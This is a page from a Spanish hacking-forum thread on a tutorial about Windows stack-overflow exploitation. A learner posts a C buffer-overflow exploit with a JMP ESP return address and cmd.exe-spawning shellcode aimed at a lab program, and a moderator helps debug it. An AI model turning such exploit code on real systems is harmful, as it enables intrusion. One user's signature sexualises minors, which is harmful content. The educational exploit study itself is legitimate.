elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
19 Julio 2008, 09:05  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  <-> Taller de Stack Overflows en Windows, por Rojodos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 [4] Ir Abajo Imprimir
Autor Tema: <-> Taller de Stack Overflows en Windows, por Rojodos  (Leído 17658 veces)
sirdarckcat
sdc
Moderador
*****
Desconectado Desconectado

Mensajes: 4.285


HAND


Ver Perfil WWW
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #45 en: 21 Junio 2007, 04:50 »

En línea

R41N-W4R3

Desconectado Desconectado

Mensajes: 221


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #46 en: 23 Julio 2007, 13:37 »



    Hola, estoy realizando el exploit basico (gracias al texto de rojodos....impresionantemente bien explicado) y tengo el siguiente problema:

    Pego mi codigo antes de nada:
 
 
Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3"; [b] //EL OFFSET TAMBIEN LO HE PUESTO BIEN (xC7\x93\xBF\x77)  lo hago con el programa diceoffset [/b]

char offset[]="\x7C\x95\x1E\xED";  [b]  //HE SACADO ESTO EN MI PC CON FINDJMP[/b]
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vulnerable";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vulnerable.exe",argv);
    }
El caso es que al ejecutarlo me peta diciendo: que la instruccion que hace referencia a una direccion de memoria no se puede read.

  Por otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se me genera el exe. Pego aki el codigo:

   
Código:
#include <stdio.h>
#include <windows.h>

void main () {

LoadLibrary("msvcrt.dll");
__asm{
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h]
push eax
mov ebx,0x77bf93c7
call ebx
}
}


   Saludos y gracias........
En línea
sirdarckcat
sdc
Moderador
*****
Desconectado Desconectado

Mensajes: 4.285


HAND


Ver Perfil WWW
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #47 en: 27 Julio 2007, 09:18 »

Tu error debe estar en la direccion del salto a JMP ESP.. pero.. porque pones el salto a JMP ESP al final del shellcode? :-/ lee otraves el tutorial de rojodos jeje

Citar
Por otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se
me genera el exe.
si lo pudiste ejecutar, es porque ya se genero un exe.

Saludos!!
En línea

R41N-W4R3

Desconectado Desconectado

Mensajes: 221


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #48 en: 27 Julio 2007, 09:28 »



   En el compilador le doy a ejecutar y me abre la shell...pero aunke le de a build no me sale ningun shell.exe...   cuando lo he ejecutado y pongo en la shell exit para cerrar la ventana msdos me sale el siguiente error:
   
  Debug error!
 
    program....
Module:
File: i386\chkesp.c
Line 42

    the value of ESP was not properly saved across a function call............

 De todas formas estoy empezando desde el principio... y releyendo el tuto....
Gracias por tu ayuda
En línea
gaby-EOF

Desconectado Desconectado

Mensajes: 3


printf("\nit releases your mind");


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #49 en: 25 Octubre 2007, 15:00 »

exelente tu tutorial rojodos hasta ahora solo tenia una idea muy remota de lo que se tratava stack overflows ahora me quedo clarisimo.

gracias  :xD
En línea

---------------->off line
Sha0

Desconectado Desconectado

Mensajes: 18


Sehr gut !!


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #50 en: 07 Enero 2008, 19:59 »

Hehe stack overflow es una tecnica muy antigua,
alguien por aqui esta investigando como petar protecciones grsecurity, safe-SEH, kernel match protection, DEP, ASLR ...

Voy a ir publicando algunas tecnicas en mi blog, os animo a seguir en el tema y  meterle mucha caña a la protarmacion a bajo nivel.

http://jolmos.blogspot.com
En línea

No intentes doblar la cuchara, eso es imposible.
Solo intenta comprender la realidad ...
que no hay cuchara.
-- a hacker --
Sha0

Desconectado Desconectado

Mensajes: 18


Sehr gut !!


Ver Perfil
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #51 en: 07 Enero 2008, 20:05 »

Hehe stack overflow es una tecnica antigua y sencilla, la gracia está en petar las protecciones que impiden que se desvíe el flujo de ejecución.

¿alguien por aqui esta investigando como petar protecciones grsecurity, safe-SEH, kernel match protection, DEP, ASLR?

Voy a ir publicando algunas tecnicas en mi blog, os animo a seguir en el tema y  meterle mucha caña a la protarmacion a bajo nivel.

http://jolmos.blogspot.com
En línea

No intentes doblar la cuchara, eso es imposible.
Solo intenta comprender la realidad ...
que no hay cuchara.
-- a hacker --
opsmc

Desconectado Desconectado

Mensajes: 2


mi debilidad las lolitas mayores de 12


Ver Perfil WWW
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #52 en: 15 Enero 2008, 23:52 »


Hola a todos, desde hace unos dias me he dedicado <<por sobra de tiempo  :( despedido injustamente  ;D>> a hacer algunas travesuras por la red este foro se me hace de poca m... en horabuena

Sin embargo tengo una triste duda de novato (ojo ya busque en la ayuda bla bla)  :rolleyes:de donde carajos bajo el adjunto  :huh:


Esta como archivo adjunto, para descargarlo, hay que estar registrado :P  ;D (cosas del admin)  ;D
En línea

La red es el único lugar donde podemos ser realmente nosotros, no reglas, no máscaras...
zhynar_X

Desconectado Desconectado

Mensajes: 512


Use linux my friend...


Ver Perfil WWW
Re: <-> Taller de Stack Overflows en Windows, por Rojodos
« Respuesta #53 en: 16 Enero 2008, 00:44 »

Bajo del post salen los archivos adjuntos... http://foro.elhacker.net/index.php?action=dlattach;topic=57910.0;attach=673


Saludos
En línea

Me he creado un blog:
http://zhynar.blogspot.com  Aver si os gusta! ;)


Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
Páginas: 1 2 3 [4] Ir Arriba Imprimir 
Ir a:  








Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC